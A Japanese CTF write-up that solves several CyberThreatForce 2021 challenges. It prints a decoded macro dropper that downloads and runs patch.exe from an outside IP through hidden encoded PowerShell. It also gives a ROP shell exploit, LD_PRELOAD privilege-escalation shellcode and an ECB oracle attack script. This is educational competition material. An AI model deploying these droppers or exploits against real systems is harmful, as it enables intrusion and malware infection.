English version: CyberThreatForce CTF (2021) writeup (English version) - Qiita
概要
CyberThreatForce CTF (2021/07/03 05:00 ~ 2021/07/05 05:00 (JST)) (CTFtime.org) に1人チームで参加した。
2710点を獲得し、正の点数を取った197チーム中25位だった。
解けた問題は以下の通りである。
Challenge | Category | Value | Time (JST) |
---|---|---|---|
Return To The School | Misc | 250 | 07/03 09:25:50 |
Strange File | steganography | 200 | 07/03 09:37:29 |
YZY | Network | 50 | 07/03 10:05:18 |
Strange Service | crypto | 250 | 07/03 12:54:39 |
The document is strange | Reverse | 75 | 07/03 14:20:36 |
Synopsis | misc | 10 | 07/03 19:45:13 |
TakeYourTime | Reverse | 200 | 07/03 20:21:32 |
Bof_1 | Pwn | 100 | 07/04 00:54:00 |
Bof_1 Get Shell | Pwn | 200 | 07/04 01:00:19 |
(Un)Efficient Encryption | crypto | 300 | 07/04 03:03:59 |
PrivEsc | Pwn | 100 | 07/04 03:46:29 |
Bof_1 PrivEsc | Pwn | 200 | 07/04 04:18:13 |
FlagChecker | Reverse | 400 | 07/04 06:08:08 |
The Mole | Network | 75 | 07/04 08:02:18 |
Exfiltration | Network | 250 | 07/04 08:25:55 |
Usb Key Cemetery | Forensic | 50 | 07/04 09:39:52 |
使用した主なツール
オンラインのもの
ダウンロードするもの
1問も解けなかったカテゴリ
- IA
- Red Team
- Web
- Osint
- Brainfuck
- Blockchain
- Game Hacking
解けた問題
Reverse
The document is strange
ファイルCV.doc
が与えられた。
対策をしないとカスペルスキーに消されたので、保護機能を一時停止してダウンロードし、
ファイルパスを除外リストに追加した。
LibreOfficeで開くと、マクロが含まれている旨が表示された。
「ツール → マクロ → マクロの編集」を開いてチェックすると、
CV.doc → Project → モジュール → NewMacros にコードが書かれていた。
まず、変数名や関数名が謎の英文字列になっていて読みにくかったので、func1
のような単純な名前に置換した。
すると、以下のような謎のデータを関数に渡している部分が多くあった。
f5_str5 = func1(Array(((123 - 59) + (21 - 7)), (29 + 36), (14 + (109 - 49)), (2 + 130), ((29 + 97) Xor 244), ((25 - 6) Xor 13), ((75 + 13) Xor (206 - 60)), ((62 - 9) Xor (77 + (62 - 10))), 172, (54 Xor 81), 192, (38 Xor 132), (128 - 27)), Array((2 + 32), 32, 63, (68 Xor 174), (171 Xor 66), 118, 175, (142 Xor 72), (61 + (105 - 8)), 73, (37 + (141 - 16)), (183 Xor (197 - 81)), ((6 - 0) + 11)))
func1
(リネーム後) は、以下のものであった。
Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
Dim f1_str1 As String
f1_str1 = ""
For i = LBound(f1_arg1) To UBound(f1_arg1)
f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
Next
func1 = f1_str1
End Function
そこで、これをJavaScriptに移植した。
function func1(a, b) {
let res = "";
for (let i = 0; i < a.length; i++) {
res += String.fromCharCode(a[i] ^ b[i]);
}
return res;
}
さらに、Xor
を^
に、& _
を+
に置換することで、JavaScriptとして実行できるようになった。
(Array
はJavaScriptでも使えるが、要素1個の時は要素数と解釈されてしまうので別途処理する)
これを用いてデコードすると、以下のようなコードになった。
文字列をデコードした結果
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
Dim f1_str1 As String
f1_str1 = ""
For i = LBound(f1_arg1) To UBound(f1_arg1)
f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
Next
func1 = f1_str1
End Function
Sub func2()
func3
End Sub
Sub AutoOpen()
func3
End Sub
Sub func3()
Sleep (2000)
func4
func5
func6
End Sub
Sub func4()
Dim f4_str1 As String
Dim f4_str2 As String
Dim f4_str3 As String
Dim f4_str4 As String
Dim f4_str5 As String
Dim f4_str6 As String
f4_str1 = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBwAGEAdABjAGgALgBlAHgAZQAiAA0ACgAkAFcAZQBiAEYAaQBsAGUAIAA9ACAAIgBoAHQAdABwADoALwAvADEANQAyAC4AMgAyADgALgAxADMAMwAuADY"
f4_str2 = "AOAAvACQAUAByAG8AYwBOAGEAbQBlACIADQAKACAADQAKACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBs"
f4_str3 = "AG8AYQBkAEYAaQBsAGUAKAAkAFcAZQBiAEYAaQBsAGUALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA0ACgBTAHQAYQByAHQALQBQA"
f4_str4 = "HIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
f4_str5 = f4_str1 + f4_str2 + f4_str3 + f4_str4
f4_str6 = "powershell.exe -exec bypass -enc " + f4_str5
Dim f4_str8 As String
f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.txt"
Dim f4_obj1 As Object
Set f4_obj1 = CreateObject("Scripting.FileSystemObject")
Dim f4_obj2 As Object
Set f4_obj2 = f4_obj1.CreateTextFile(f4_str8)
f4_obj2.Write f4_str6
End Sub
Sub func5()
Dim f5_str1 As String
f5_str1 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\"
Dim f5_str4 As String
Dim f5_str5 As String
f5_str4 = "launcher2.txt"
f5_str5 = "launcher2.bat"
Name f5_str1 & f5_str4 As f5_str1 & f5_str5
End Sub
Sub func6()
Dim f4_str8 As String
f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.bat"
Shell f4_str8, vbHide
Sleep (2000)
Kill f4_str8
End Sub
f4_str5
の内容をCyberChefで From Base64 → Decode text (UTF-16LE (1200)) すると、以下のようになった。
$ProcName = "patch.exe"
$WebFile = "http://152.228.133.68/$ProcName"
(New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName")
Start-Process ("$env:APPDATA\$ProcName")
そこで、ここに出てきたhttp://152.228.133.68/patch.exe
をダウンロードした。
カスペルスキーに妨害されたので、保護機能を一時停止した。
得られたデータにCyberChefで Decode text (UTF-16LE (1200)) をかけてみると、
結果の中にhttp://152.228.133.68/staged_payload.txt
という文字列が出てきた。
そこで、このURLからファイルをダウンロードした。
またもやカスペルスキーに妨害されたので、保護機能を一時停止した。
ダウンロードしたファイルにflagが書かれていた。
CYBERTF{M4cr0_D0wnl0ad3r_1s_D0wn}
TakeYourTime
ELFファイルTakeYourTime
が与えられた。
TDM-GCCのobjdumpで逆アセンブルして調べると、
入力を読み込む処理は見られず、以下のfibonacci
という関数を呼んでいることがわかった。
関数`fibonacci`
0000000000001169 <fibonacci>:
1169: 55 push %rbp
116a: 48 89 e5 mov %rsp,%rbp
116d: 53 push %rbx
116e: 48 83 ec 18 sub $0x18,%rsp
1172: 48 89 7d e8 mov %rdi,-0x18(%rbp)
1176: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
117b: 75 07 jne 1184 <fibonacci+0x1b>
117d: b8 00 00 00 00 mov $0x0,%eax
1182: eb 34 jmp 11b8 <fibonacci+0x4f>
1184: 48 83 7d e8 01 cmpq $0x1,-0x18(%rbp)
1189: 75 07 jne 1192 <fibonacci+0x29>
118b: b8 01 00 00 00 mov $0x1,%eax
1190: eb 26 jmp 11b8 <fibonacci+0x4f>
1192: 48 8b 45 e8 mov -0x18(%rbp),%rax
1196: 48 83 e8 01 sub $0x1,%rax
119a: 48 89 c7 mov %rax,%rdi
119d: e8 c7 ff ff ff callq 1169 <fibonacci>
11a2: 48 89 c3 mov %rax,%rbx
11a5: 48 8b 45 e8 mov -0x18(%rbp),%rax
11a9: 48 83 e8 02 sub $0x2,%rax
11ad: 48 89 c7 mov %rax,%rdi
11b0: e8 b4 ff ff ff callq 1169 <fibonacci>
11b5: 48 01 d8 add %rbx,%rax
11b8: 48 8b 5d f8 mov -0x8(%rbp),%rbx
11bc: c9 leaveq
11bd: c3 retq
これをC言語で書き下すと、以下のようになった。
関数`fibonacci`の処理内容
uint64_t fibonacci(uint64_t x) {
uint64_t rbx;
/* 1176 */
if (x == 0) {
return 0;
}
/* 1184 */
if (x == 1) {
return 1;
}
/* 1192 */
rbx = fibonacci(x - 1);
/* 11a5 */
return rbx + fibonacci(x - 2);
}
これは、関数名の通りフィボナッチ数列を計算する処理である。
そこで、フィボナッチ数列を普通に計算するプログラムを用意した。
フィボナッチ数列を普通に計算するプログラム
#include <stdio.h>
#include <inttypes.h>
uint64_t fibonacci(uint64_t x) {
uint64_t p, c, n, i;
if (x == 0) return 0;
if (x == 1) return 1;
p = 0;
c = 1;
for (i = 1; i < x; i++) {
n = p + c;
p = c;
c = n;
}
return c;
}
int main(void) {
uint64_t i;
for (i = 0; i < 10; i++) {
printf("%" PRIu64 " %" PRIu64 "\n", i, fibonacci(i));
}
return 0;
}
このプログラムをCS50 IDEでコンパイルし、TDM-GCCのobjdumpで逆アセンブルすることで、
新しいfibonacci
関数の場所を特定した。
これが新しいfibonacci
関数であり、TakeYourTime
中のfibonacci
関数より小さい。
新しい`fibonacci`関数の逆アセンブル結果
0000000000001260 <fibonacci>:
1260: f3 0f 1e fa endbr64
1264: 31 c0 xor %eax,%eax
1266: 48 85 ff test %rdi,%rdi
1269: 74 27 je 1292 <fibonacci+0x32>
126b: b8 01 00 00 00 mov $0x1,%eax
1270: 48 83 ff 01 cmp $0x1,%rdi
1274: 74 1c je 1292 <fibonacci+0x32>
1276: ba 01 00 00 00 mov $0x1,%edx
127b: 31 c9 xor %ecx,%ecx
127d: 0f 1f 00 nopl (%rax)
1280: 48 89 c6 mov %rax,%rsi
1283: 48 83 c2 01 add $0x1,%rdx
1287: 48 01 c8 add %rcx,%rax
128a: 48 89 f1 mov %rsi,%rcx
128d: 48 39 d7 cmp %rdx,%rdi
1290: 77 ee ja 1280 <fibonacci+0x20>
1292: c3 retq
1293: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
129a: 00 00 00
129d: 0f 1f 00 nopl (%rax)
そして、新しいfibonacci
関数のバイナリをTakeYourTime
中のfibonacci
関数の場所に上書きし、
CS50 IDEで実行した。その結果、以下の出力が得られた。
CYBERTF{Fuck_Fibo_3v3ryWhere}
Good you can validate the chall with this password ;)!
flagが得られた。
CYBERTF{Fuck_Fibo_3v3ryWhere}
FlagChecker
ELFファイルprogram
が与えられた。
TDM-GCCのobjdumpで逆アセンブルしてみたが、長くてどこを実行するのかよくわからなかった。
そこで、CS50 IDEで実行してみると、以下の実行結果が得られた。
~/ $ ./program
./program FLAG
~/ $ ./program aaa
failed
ファイルをチェックすると、文字列 FLAG
は0x5f1f8バイト目、
文字列failed
は0x5f1c8バイト目と0x5f1d8バイト目にあった。
また、その近くの0x5f1e8バイト目に文字列Success
があった。 (いずれも0-origin)
これらのオフセットに(経験から)0x1000を足して逆アセンブル結果を調べると、
文字列Success
は0x20350番地で、文字列failed
は0x2035e番地と0x20376番地で使われていた。
したがって、これらの位置の前あたりにflagのチェック処理があると予想できた。
さらに観察すると、
-
camlReverse__firstCheck_268
関数が1を返すと、0x20376番地に飛ぶ -
camlReverse__listequal_92
関数が1を返すと、0x2035e番地に飛ぶ
ことがわかった。
そこで、まずcamlReverse__firstCheck_268
関数の解析を行った。
コードを眺めてもよくわからなかったので、CS50 IDE上のGDBを用いて実行・観察した。
`camlReverse__firstCheck_268`関数
0000000000020100 <camlReverse__firstCheck_268@@Base>:
20100: 48 83 ec 18 sub $0x18,%rsp
20104: 48 83 f8 01 cmp $0x1,%rax
20108: 74 4a je 20154 <camlReverse__firstCheck_268@@Base+0x54>
2010a: 48 83 fb 01 cmp $0x1,%rbx
2010e: 74 38 je 20148 <camlReverse__firstCheck_268@@Base+0x48>
20110: 48 89 1c 24 mov %rbx,(%rsp)
20114: 48 89 44 24 08 mov %rax,0x8(%rsp)
20119: 48 8b 33 mov (%rbx),%rsi
2011c: 48 8b 38 mov (%rax),%rdi
2011f: 48 8d 05 2a 1a 01 00 lea 0x11a2a(%rip),%rax # 31b50 <caml_equal@@Base>
20126: e8 f1 76 02 00 callq 4781c <caml_c_call@@Base>
2012b: 4d 8b 3e mov (%r14),%r15
2012e: 48 83 f8 01 cmp $0x1,%rax
20132: 74 30 je 20164 <camlReverse__firstCheck_268@@Base+0x64>
20134: 48 8b 04 24 mov (%rsp),%rax
20138: 48 8b 58 08 mov 0x8(%rax),%rbx
2013c: 48 8b 44 24 08 mov 0x8(%rsp),%rax
20141: 48 8b 40 08 mov 0x8(%rax),%rax
20145: eb bd jmp 20104 <camlReverse__firstCheck_268@@Base+0x4>
20147: 90 nop
20148: b8 03 00 00 00 mov $0x3,%eax
2014d: 48 83 c4 18 add $0x18,%rsp
20151: c3 retq
20152: 66 90 xchg %ax,%ax
20154: 48 83 fb 01 cmp $0x1,%rbx
20158: 74 0a je 20164 <camlReverse__firstCheck_268@@Base+0x64>
2015a: b8 01 00 00 00 mov $0x1,%eax
2015f: 48 83 c4 18 add $0x18,%rsp
20163: c3 retq
20164: b8 01 00 00 00 mov $0x1,%eax
20169: 48 83 c4 18 add $0x18,%rsp
2016d: c3 retq
2016e: 66 90 xchg %ax,%ax
観察の結果、以下のことがわかった。
-
%rdi
(入力したデータに基づく値) と%rsi
(基準の値) を比較し、違ったら1を返す (0x2011f番地) - 入力したデータ列が基準のデータ列以下の長さならば、1を返す (0x20108番地)
- 以上のチェックに引っかからなければ、3を返す (0x2010a番地)
さらに、「入力したデータに基づく値」は入力した各文字の文字コードの2倍に1を足したものであることもわかった。
これらに基づいてGDBで観察した結果、入力としてCYBERTF{Gox
を与えると3が返ることがわかった。
(最後のx
は、入力を基準のデータ列より長くするために入れている)
また、ここで扱っているデータ列は、値と次のノードへのポインタを用いたリンクリストになっていることもわかった。
2番めのチェックの直前の処理は、以下のようになっていた。
20332: 48 8d 1d 77 fe 03 00 lea 0x3fe77(%rip),%rbx # 601b0 <camlReverse__9@@Base>
20339: e8 52 fb ff ff callq 1fe90 <camlReverse__xor_103@@Base>
2033e: 48 8d 1d c3 fe 03 00 lea 0x3fec3(%rip),%rbx # 60208 <camlReverse__82@@Base>
20345: e8 d6 fa ff ff callq 1fe20 <camlReverse__listequal_92@@Base>
2034a: 48 83 f8 01 cmp $0x1,%rax
2034e: 74 0e je 2035e <camlReverse__entry@@Base+0x1ee>
GDBでの観察の結果、camlReverse__xor_103
関数およびcamlReverse__listequal_92
関数を呼ぶ直前の
%rbx
の値は、リンクリストのアドレスになっていることがわかった。
これらのリンクリストはファイルprogram
に最初から埋め込まれているようだったので、
以下のプログラムを用いてリンクリストのデータを抽出した。
ファイルからリンクリストのデータを抽出するプログラム
第1引数にデータの抽出元のファイル名を、第2引数にリンクリストの最初のノードのファイル中の位置を指定する。
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV != 2) {
die "Usage: perl read_list.pl file addr\n";
}
my $file = $ARGV[0];
my $addr = int($ARGV[1]);
open(FP, "< $file") or die("file open error\n");
binmode(FP);
my $data = "";
while (<FP>) { $data .= $_; }
close(FP);
while ($addr != 1 - 0x1000) {
printf("0x%04x, ", unpack("Q", substr($data, $addr, 8)));
$addr = unpack("Q", substr($data, $addr + 8, 8)) - 0x1000;
}
print "\n";
camlReverse__xor_103
関数を呼ぶ直前に%rbx
が指していたリンクリストのデータをxor_list
、
camlReverse__listequal_92
関数を呼ぶ直前に%rbx
が指していたリンクリストのデータをdata_list
とし、
これらのデータから以下のPythonのプログラムで文字列を得た。
(camlReverse__xor_103
という関数名からXORを計算するべきだと予想し、
xor_list
が短いことから循環させて使うべきだと予想した。
また、camlReverse__firstCheck_268
関数の解析結果に基づき、得られた値を2で割ったものを文字コードとした。)
xor_list = [0x000b, 0x00f5, 0x00a7, 0x01ab, 0x0107, 0x01b1, 0x0187, 0x01fd]
data_list = [0x00d3, 0x0037, 0x007b, 0x0165, 0x01b9, 0x0163, 0x0161, 0x0143, 0x0083, 0x0093, 0x0027, 0x0163, 0x01b9, 0x01d3, 0x015b, 0x0143, 0x008d, 0x005d, 0x002b, 0x0115, 0x0165, 0x01df, 0x01f5, 0x0197, 0x00cf, 0x009d, 0x0065, 0x01db, 0x0175, 0x01df, 0x01e7, 0x018d, 0x006d, 0x009b, 0x00c5, 0x0163, 0x0165, 0x01dd, 0x01f5, 0x018d, 0x006f, 0x0097, 0x00d5, 0x01c1, 0x016b, 0x01d9, 0x01e3, 0x0191, 0x006d, 0x0085, 0x0061, 0x0163, 0x0169, 0x01df, 0x01f7, 0x019b, 0x0079, 0x0087, 0x00d7, 0x01c9, 0x0177, 0x01c1, 0x017d]
data = [xor_list[i % len(xor_list)] ^ data_list[i] for i in range(len(data_list))]
data_str = "".join([chr(d // 2) for d in data])
その結果は、
lang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}
となった。
これと、camlReverse__firstCheck_268
関数の解析で得られたデータを組み合わせることで、flagが得られた。
CYBERTF{Golang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}
steganography
Strange File
ファイル74df9ed7b79cfcbca84002619b670802.png
が与えられた。
TSXBINで見ると、最初の部分は
0000 Signature[0] D9 10 3D 34 7A 3A 2A 78
0008 DateLength 6450407E
000C BlockType[0] 3A 3F 74 62
となっていた。
PNGファイルならば最初のBlockTypeはIHDR
となるはずである。
CyberChefでXORをとると、sw00
が出てきた。
さらに、PNGファイルのSignatureは89 50 4E 47 0D 0A 1A 0A
のはずである。
CyberChefでXORをとると、P@ssw00r
が出てきた。
また、DateLengthの上位3バイトは通常ゼロのはずのところ、dP@
となっていた。
これらの情報から、P@ssw00rd
を巡回させてXORをとればよさそうであることが読み取れた。
CyberChefでこれを実行し、さらにRender Imageをすると、
QRコードのマーカー部分をネガポジ反転したような以下の画像が出てきた。
この画像に対しCyberChefのParse QR Codeをかけると、flagが得られた。
CYBERTF{H1dD3n_M3Ss4g3_Fr0m_G4r1z0V}
「QRコード」は(株)デンソーウェーブの登録商標です。
crypto
Strange Service
TCPサーバが用意された。
このサーバは、送った内容(LFの前まで)の後ろに秘密のデータを連結したものをAESで暗号化して返してくれるらしい。
TCP/IPテストツールで適当な内容を送って試してみると、以下のことがわかった。
- 入力の長さが同じなら、出力の最後の部分は同じになりそう
- 入力を16バイト増やしても、出力の最後の部分は同じになりそう
このことから、暗号化は各ブロックを独立に行っていると考えられた。
したがって、入力の長さを調整して「既知の15バイト+未知の1バイト」の暗号文ブロックを得ることができれば、
未知の1バイトを全探索で求めることが出来るはずである。
これを繰り返すことで、「秘密のデータ」全体を前から順に求めることができるはずである。
実際に、以下のプログラムを用いて45分くらいで「秘密のデータ」を求めることができた。
「秘密のデータ」を求めるプログラム
#!/usr/bin/perl
use IO::Socket;
if (@ARGV != 2) { die "Usage: perl attack.pl addr port\n"; }
my $addr = $ARGV[0];
my $port = $ARGV[1];
sub query {
my $q = $_[0];
my $sock = new IO::Socket::INET(PeerAddr=>$addr, PeerPort=>$port, Proto=>"tcp");
die "socket error: $!" unless $sock;
binmode($sock);
print $sock ($q . "\n");
my $res = "";
while (<$sock>) { $res .= $_; }
close($sock);
return substr($res, 7); # cut "input: "
}
my $empty = &query("");
my $len = length($empty);
my $ans = "#" x 16;
for (my $i = 0; $i < $len; $i++) {
my $add_len = 15 - $i % 16;
my $offset = ($i >> 4) * 16;
my $target = &query("#" x $add_len);
my $search_prefix = substr($ans, length($ans) - 15);
my $answer = 0x0a;
for (my $j = 0; $j < 256; $j++) {
if ($j % 16 == 0) { print STDERR sprintf("%X", $j >> 4); }
if ($j == 0x0a) { next; }
my $search_test = &query($search_prefix . chr($j));
if (substr($search_test, 0, 16) eq substr($target, $offset, 16)) {
$answer = $j;
last;
}
}
$ans .= chr($answer);
print STDERR sprintf(" ans = 0x%02X done %d / %d\n", $answer, $i + 1, $len);
}
$ans = substr($ans, 16);
print "$ans\n";
この「秘密のデータ」にflagが含まれていた。
CYBERTF{WTF_It's_u$eless_in_real_w0rld}
(Un)Efficient Encryption
comm1.pcapng
、comm2.pcapng
、およびsynopsis.txt
が与えられた。
comm1.pcapng
をWiresharkで開き、適当な行で「追跡 → TCPストリーム」をすると、以下のテキストが得られた。
Hey, could you generate an rsa key for me ? I Dont know how to do it
Yes sure, i just need a prime integer to generate it
Just take a random one, like 347 for example
Perfect, i'll keep you in touch
同様に、comm2.pcapng
からは以下のテキストが得られた。
Hello
-----BEGIN PUBLIC KEY-----
MBwwDQYJKoZIhvcNAQEBBQADCwAwCAIDBGOvAgER
-----END PUBLIC KEY-----
71436 176304 185211 110406 35389 179680 56238 185211 207993 237729 176304 207993 185211 192576 237729 95070 171155 207993 35389 185211 110406 140230 92028 110406 140230 246626 82805
95994 185211 110406 176304 192576 230623 185211 110406 237729 171155 110406 247756 185211 192576 230623 185211 110406 237729 176304 140230 92028 110406 232955 247756 192576 35389 185211 82805
194813 185211 207993 185211 110406 140230 92028 110406 237729 176304 185211 110406 92028 185211 35389 207993 185211 237729 110406 35389 171155 171098 185211 110406 105244 110406 228171 207520 180458 196399 104282 71436 31634 106170 103296 132591 35389 69499 171098 196399 24720 104282 92028 59381 24720 230238 230238 36350
comm2.pcapng
から得られたテキストのうち、
-----BEGIN PUBLIC KEY-----
と-----END PUBLIC KEY-----
の間の部分に対し、
CyberChefで From Base64 → To Hex → Parse ASN.1 hex string をかけると、以下の結果が得られた。
SEQUENCE
SEQUENCE
ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
NULL
BITSTRING, encapsulates
SEQUENCE
INTEGER 0463af..(total 3bytes)..0463af
INTEGER 11..(total 1bytes)..11
0x0463af = 287663 = 347 * 829
である。
これがn
、その次の整数0x11 = 17
がe
であると仮定し、
RSA暗号 - Wikipedia
を参考に、以下のようにPythonでd
を計算した。
# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
if b == 0:
return (1, 0)
s, t = kago(b, a % b)
return (t, s - (a // b) * t)
p = 346 * 828
e = 17
d, _ = kago(e, p)
結果、d = 67409
と求まった。
次に、-----END PUBLIC KEY-----
の後の数字列に対し、このd
とn
を利用してPythonでRSA暗号の復号を行った。
data = [
71436,176304,185211,110406,35389,179680,56238,185211,207993,237729,176304,207993,185211,192576,237729,95070,171155,207993,35389,185211,110406,140230,92028,110406,140230,246626,82805,
95994,185211,110406,176304,192576,230623,185211,110406,237729,171155,110406,247756,185211,192576,230623,185211,110406,237729,176304,140230,92028,110406,232955,247756,192576,35389,185211,82805,
194813,185211,207993,185211,110406,140230,92028,110406,237729,176304,185211,110406,92028,185211,35389,207993,185211,237729,110406,35389,171155,171098,185211,110406,105244,110406,228171,207520,180458,196399,104282,71436,31634,106170,103296,132591,35389,69499,171098,196399,24720,104282,92028,59381,24720,230238,230238,36350
]
n = 287663
res = [pow(d_elem, d, n) for d_elem in data]
res2 = "".join([chr(r) for r in res])
結果は
The cyberthreatforce is in.We have to leave this place.Here is the secret code : CYBERTF{D3c0dE_Rs4_!!}
となり、flagが得られた。
CYBERTF{D3c0dE_Rs4_!!}
Pwn
PrivEsc
SSHサーバが用意された。
Tera Termで接続して調べると、以下のようなflag.txt
があるが、
パーミッションの関係で読めないようになっていることがわかった。
ctf@281b0d1785d6:/home/ctf_cracked$ ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 36 Jun 25 13:33 flag.txt
「ctf ssh 権限昇格」でググってみた結果、
Wgel CTF 解説 (Writeup) [TryHackMe] - はまやんはまやんはまやん
がヒットした。ここにあったsudo -l
コマンドを実行してみると、以下の出力が得られた。
ctf@281b0d1785d6:/home/ctf_cracked$ sudo -l
Matching Defaults entries for ctf on 281b0d1785d6:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+=LD_PRELOAD
User ctf may run the following commands on 281b0d1785d6:
(ctf_cracked) NOPASSWD: /opt/Ivazov
LD_PRELOAD
を有効にする設定になっており、/opt/Ivazov
という怪しいパスが出てきた。
実行できるようだったので実行してみると、キリル文字が出力された。
ctf@281b0d1785d6:/home/ctf_cracked$ ls -l /opt/Ivazov
-rw-r-xr-x 1 root root 16088 Jun 25 13:33 /opt/Ivazov
ctf@281b0d1785d6:/home/ctf_cracked$ /opt/Ivazov
Ивазов недоволен
/opt/Ivazov
をSCPでダウンロードし、TDM-GCCのobjdumpで逆アセンブルしてみると、
puts
関数で文字列を1個出力して終了するだけのようだった。
/lib/x86_64-linux-gnu/libc-2.28.so
をSCPでダウンロードし、TDM-GCCのobjdumpで逆アセンブルすることで、
puts
関数 (_IO_puts@@GLIBC_2.2.5
) の場所がわかった。
そこで、ここに以下のシェルを起動するプログラムをNASMでアセンブルしたバイナリを書き込み、
SCPでアップロードした。
bits 64
mov eax, 59
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall
sudo
でLD_PRELOAD
を使用してライブラリを読み込ませる方法は、ここが参考になった。
Privilege Escalation - SUDO - LD_PRELOAD
これを利用することで、ユーザctf_cracked
としてシェルを起動することができた。
ctf@281b0d1785d6:/tmp/work$ ls -l
total 1784
-rw-r--r-- 1 ctf ctf 1824496 Jul 3 18:45 libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ chmod a+x libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ sudo -u ctf_cracked LD_PRELOAD=/tmp/work/libc-2.28-patched.so /opt/Ivazov
$ id
uid=1001(ctf_cracked) gid=1001(ctf_cracked) groups=1001(ctf_cracked)
$ cat /home/ctf_cracked/flag.txt
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
$ exit
これを利用して、flagが得られた。
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
Bof_1
TCPサーバが用意され、大きな(約900KiB)ELFファイルが与えられた。
問題文より、入手した古いファイルをもとに、新しいファイルに含まれるflagを抜き出すことが目的である。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルして調べると、
puts
関数で文字列を出力した後、scanf
関数の書式%s
でデータを読み込み、
printf
関数の書式%s
で読み込んだデータなどを出力するものだった。
データの読み込み先はスタックで、「0x30バイトのバッファ、前のRBP、リターンアドレス」という構造になっていた。
そこで、ROP (Return-oriented Programming)のためのgadgetを探した。
その結果、以下のものが見つかった。
pop rax; ret (58 c3) 40302c
pop rsi; ret (5e c3) 40880e
pop rdi; ret (5f c3) 401ede
syscall: ret (0f 05 c3) 41ca64
しかし、pop rdx; ret (5a c3)
は見つからなかった。
さらに調査を進めると、以下の2箇所が使えそうだった。
403e30: 4c 89 ea mov %r13,%rdx
403e33: 4c 89 e6 mov %r12,%rsi
403e36: 89 ef mov %ebp,%edi
403e38: 41 ff 14 df callq *(%r15,%rbx,8)
この部分では、単純なgadgetでは設定できなさそうだったRDXを設定できる。
49d4ef: 48 89 45 10 mov %rax,0x10(%rbp)
49d4f3: 48 83 c4 38 add $0x38,%rsp
49d4f7: 4c 89 f8 mov %r15,%rax
49d4fa: 5b pop %rbx
49d4fb: 5d pop %rbp
49d4fc: 41 5c pop %r12
49d4fe: 41 5d pop %r13
49d500: 41 5e pop %r14
49d502: 41 5f pop %r15
49d504: c3 retq
この部分では、メモリの任意の位置にデータを書き込むことができる。
これらを用いてexecve("/bin/sh", 0, 0)
を実行させることにした。
これを実現する入力データを以下のプログラムで生成した。
シェルを起動する入力データを生成するプログラム
#!/usr/bin/perl
use strict;
use warnings;
binmode(STDOUT);
my $pop_rax = 0x40302c;
my $syscall = 0x41ca64;
my $mov_rbp = 0x49d4ef;
my $mov_call = 0x403e30;
my $buffer_addr = 0x4cf5d0;
my $data =
("x" x 0x30) . # fill buffer
pack("Q", $buffer_addr - 0x10) . # rbp to set
pack("Q", $pop_rax) . # return address
"/bin/sh\0" . # rax to set
pack("Q", $mov_rbp) . # return address
("x" x 0x38) . # for add to rsp
("x" x 8) . # rbx to set
pack("Q", $buffer_addr + 8 - 0x10) . # rbp to set
("x" x (8 * 4)) . # r12, r13, r14, r15 to set
pack("Q", $pop_rax) . # return address
pack("Q", $syscall) . # rax to set
pack("Q", $mov_rbp) . # return address
("x" x 0x38) . # for add to rsp
pack("Q", 0) . # rbx to set
pack("Q", $buffer_addr) . # rbp to set
pack("Q", 0) . # r12 to set
pack("Q", 0) . # r13 to set
("x" x 8) . # r14 to set
pack("Q", $buffer_addr + 8) . # r15 to set
pack("Q", $pop_rax) . # return address
pack("Q", 59) . # rax to set
pack("Q", $mov_call) . # return address
"\n";
print $data;
Tera Termでサーバに接続し、得られたデータをバイナリとして「ファイル送信 (ファイルの内容を貼り付け)」すると、
シェルの操作が可能になった。
ls
を実行すると、問題のELFファイルと思われるファイルservice
があった。
大きくて全体を取り出すのは難しそうだったので、手元のファイルをもとに、
以下のdd
でflagを含みそうな部分を取り出した。
dd if=service bs=1 skip=651264 count=256
その結果、flagが得られた。
CYBERTF{B@sic_Buff3r_Ov3rflow}
Bof_1 Get Shell
以下の問題文が与えられた。
Nice You success to read the flag. But now we need to get shell.
問題 Bof_1 と同様にシェルを起動して調査した結果、/home/ctf
にflag.txt
があり、
これを読むことでflagが得られた。
cd /home
ls -l
total 8
dr-xr-xr-x 1 root root 4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf
pwd
/home/ctf
ls -l
total 4
-r--r--r-- 1 root root 24 Jun 29 11:24 flag.txt
cat flag.txt
CYBERTF{B@sic_R0PChain}
CYBERTF{B@sic_R0PChain}
